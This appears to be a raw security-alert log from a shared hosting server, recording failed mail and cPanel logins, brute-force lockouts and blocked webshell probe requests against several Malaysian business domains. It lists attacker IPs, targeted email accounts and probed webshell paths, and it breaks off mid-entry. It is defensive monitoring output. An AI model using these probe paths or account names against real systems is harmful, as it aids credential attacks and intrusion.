2026-01-31 12:30:17 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:51896: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 12:30:51 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:56158: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-31 12:30:39 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:33108: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:30:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-01-31 12:30:11 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:31918: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-31 12:30:16 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:38674: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: u-net.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/unetcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.241.77.78
country_id: 1269750
description:
2026-01-31 12:30:30 dovecot_login authenticator failed for H=([117.241.77.78]) [117.241.77.78]:57712: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.31.209.102
country_id: 2017370
description:
2026-01-31 12:30:43 dovecot_login authenticator failed for H=95-31-209-102.broadband.corbina.ru [95.31.209.102]:34780: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:31:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:31:05 dovecot_login authenticator failed for H=(aU24kGdP) [158.94.209.22]:53319: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.179.158
country_id: 2017370
description:
2026-01-31 12:31:18 dovecot_login authenticator failed for H=broadband-77-37-179-158.ip.moscow.rt.ru [77.37.179.158]:58848: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-01-31 12:31:23 dovecot_login authenticator failed for H=([125.61.36.25]) [125.61.36.22]:58928: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.38
country_id: 1835841
description:
2026-01-31 12:31:30 dovecot_login authenticator failed for H=([61.72.145.38]) [61.72.145.38]:35661: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.102.155.10
country_id: 6252001
description:
[2026-01-31 12:31:35 +0800] info [webmaild] 191.102.155.10 - central@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:31:59 dovecot_login authenticator failed for H=(0bhAgnv) [158.94.209.22]:63018: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.213.178
country_id: 1819730
description:
2026-01-31 12:32:14 dovecot_plain authenticator failed for H=(nvzgfg2drdcak0liyv8h10kzsr) [152.32.213.178]:47994: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:32:17 dovecot_login authenticator failed for H=(DimNXWes) [158.94.209.22]:62747: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:32:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-01-31 12:32:54 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [49.206.201.253]:46388: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.172
country_id: 2017370
description:
2026-01-31 12:33:06 dovecot_login authenticator failed for H=([31.173.2.172]) [31.173.2.172]:47674: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:33:11 dovecot_login authenticator failed for H=(iaBoGFAbuC) [158.94.209.22]:59452: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.133.31
country_id: 1733045
description:
[2026-01-31 12:33:25 +0800] info [webmaild] 113.211.133.31 - felicia@nexuscollection.com "POST /cpsess9559608849/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.121.206] != Current IP Address [113.211.133.31]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.144.50.202
country_id: 1814991
description:
2026-01-31 12:33:07 dovecot_login authenticator failed for H=([219.144.50.202]) [219.144.50.202]:41572: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:33:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-01-31 12:33:23 dovecot_login authenticator failed for H=([128.185.253.122]) [128.185.253.122]:48204: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:34:05 dovecot_login authenticator failed for H=(lkrY3dI) [158.94.209.22]:59849: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.58
country_id: 1733045
description:
2026-01-31 12:35:44 dovecot_login authenticator failed for H=([49.124.153.58]) [49.124.153.58]:59026: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-01-31 12:35:11 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:59315: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:35:17 dovecot_login authenticator failed for H=(hqnWDQ4bTy) [158.94.209.22]:57460: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-01-31 12:35:22 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:42245: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.214.108.39
country_id: 3469034
description:
2026-01-31 12:35:34 dovecot_login authenticator failed for H=(b3d66c27.virtua.com.br) [179.214.108.39]:36384: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:36:11 dovecot_login authenticator failed for H=(vKfDgFr) [158.94.209.22]:56569: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:36:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:36:29 dovecot_login authenticator failed for H=(WV4VT9g) [158.94.209.22]:65181: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.7.164.163
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/church/112/27381 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 12:37:53 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:38028: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:37:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-31 12:37:53 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:47462: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:37:05 dovecot_login authenticator failed for H=(jLP1JW8i) [158.94.209.22]:49492: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.250.182.141
country_id: 1814991
description:
2026-01-31 12:37:06 dovecot_login authenticator failed for H=([118.250.182.141]) [118.250.182.141]:38282: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-01-31 12:37:24 dovecot_login authenticator failed for H=(aes-static-225.77.144.59.airtel.in) [182.95.123.50]:44010: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.231.68.175
country_id: 1835841
domain: maalloys.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/maalloyscom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.60.226.55
country_id: 3017382
description:
[2026-01-31 12:38:53 +0800] info [cpaneld] 37.60.226.55 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:38:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:38:17 dovecot_login authenticator failed for H=(YboNq6z) [158.94.209.22]:57563: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-31 12:38:17 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:59298: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-01-31 12:38:35 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:62417: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.25.118
country_id: 1835841
description:
2026-01-31 12:39:06 dovecot_plain authenticator failed for H=(evr1fu3p80iea0xdwf8eljmcodzxkk) [59.6.25.118]:41430: 535 Incorrect authentication data (set_id=2096jasonkua@printspecsolution.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:39:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:39:11 dovecot_login authenticator failed for H=(vobUJSTzQ) [158.94.209.22]:50874: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: kendek.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/kendek/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/component/tag/images/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:40:05 dovecot_login authenticator failed for H=(hYqQV5) [158.94.209.22]:50968: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:40:23 dovecot_login authenticator failed for H=(TAfbUUG0Wx) [158.94.209.22]:65111: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 52.231.68.175
country_id: 1835841
domain: maalloys.com.my
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home2/maalloyscom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:40:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.201.104
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=825907 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.231.68.175
country_id: 1835841
domain: maalloys.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/maalloyscom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:41:17 dovecot_login authenticator failed for H=(F2NALf) [158.94.209.22]:53600: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-31 12:41:54 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:45582: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.138
country_id: 1269750
description:
2026-01-31 12:42:00 dovecot_login authenticator failed for H=([128.185.201.138]) [128.185.201.138]:51642: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.231.68.175
country_id: 1835841
domain: maalloys.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/maalloyscom/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-01-31 12:42:23 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [201.15.149.254]:35317: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.112.160
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=48721514875141 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-31 12:42:47 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:48568: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:42:11 dovecot_login authenticator failed for H=(YiNrxev) [158.94.209.22]:53025: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-01-31 12:42:16 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:65480: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-01-31 12:42:32 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.227.214.33
country_id: 1835841
description:
2026-01-31 12:42:39 dovecot_login authenticator failed for H=([182.227.214.33]) [182.227.214.33]:55920: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-31 12:42:08 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:50283: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 12:42:35 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:51318: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.85
country_id: 337996
description:
2026-01-31 12:42:28 dovecot_login authenticator failed for H=([196.188.187.85]) [196.188.187.85]:41712: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:43:05 dovecot_login authenticator failed for H=(YhnUlF) [158.94.209.22]:64768: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:44:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:44:17 dovecot_login authenticator failed for H=(YEOrY9UQ6E) [158.94.209.22]:51218: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:44:35 dovecot_login authenticator failed for H=(2nPMRi0ztm) [158.94.209.22]:59324: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.231.68.175
country_id: 1835841
domain: maalloys.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/maalloyscom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-31 12:45:42 dovecot_plain authenticator failed for H=(epimang) [91.73.188.251]:53842: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
2026-01-31 12:45:56 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:40610: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:45:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:45:11 dovecot_login authenticator failed for H=(JAv53rqwi) [158.94.209.22]:59877: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:46:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:46:05 dovecot_login authenticator failed for H=(bZ9YKrLOri) [158.94.209.22]:50992: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:47:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:47:17 dovecot_login authenticator failed for H=(ffdJNTlN) [158.94.209.22]:63777: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:48:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:48:11 dovecot_login authenticator failed for H=(4fuukXZFX) [158.94.209.22]:53923: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-31 12:48:40 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:50287: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:48:47 dovecot_login authenticator failed for H=(uSru1pLHXi) [158.94.209.22]:51535: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-31 12:48:48 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:40080: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.227
country_id: 1819730
description:
2026-01-31 12:48:52 dovecot_login authenticator failed for H=227.42.246.220.static.netvigator.com [220.246.42.227]:54851: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:49:05 dovecot_login authenticator failed for H=(1I4OONF) [158.94.209.22]:57607: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-31 12:49:20 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:33426: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 12:49:24 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:42612: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 12:49:02 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:37180: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-31 12:49:35 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:39300: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.141
country_id: 6252001
description:
2026-01-31 12:49:14 dovecot_plain authenticator failed for H=([10.12.18.128]) [140.228.24.141]:37767: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-01-31 12:50:56 dovecot_login authenticator failed for H=(nsg-corporate-54.222.187.122.airtel.in) [122.187.222.54]:34694: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:50:17 dovecot_login authenticator failed for H=(aDeO5FS) [158.94.209.22]:63154: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.130
country_id: 1269750
description:
2026-01-31 12:50:27 dovecot_login authenticator failed for H=(nsg-corporate-130.230.187.122.airtel.in) [122.187.230.130]:50051: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.250.50
country_id: 1814991
description:
2026-01-31 12:50:56 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [60.223.250.50]:37821: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:51:11 dovecot_login authenticator failed for H=(bXEUaJw) [158.94.209.22]:62098: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
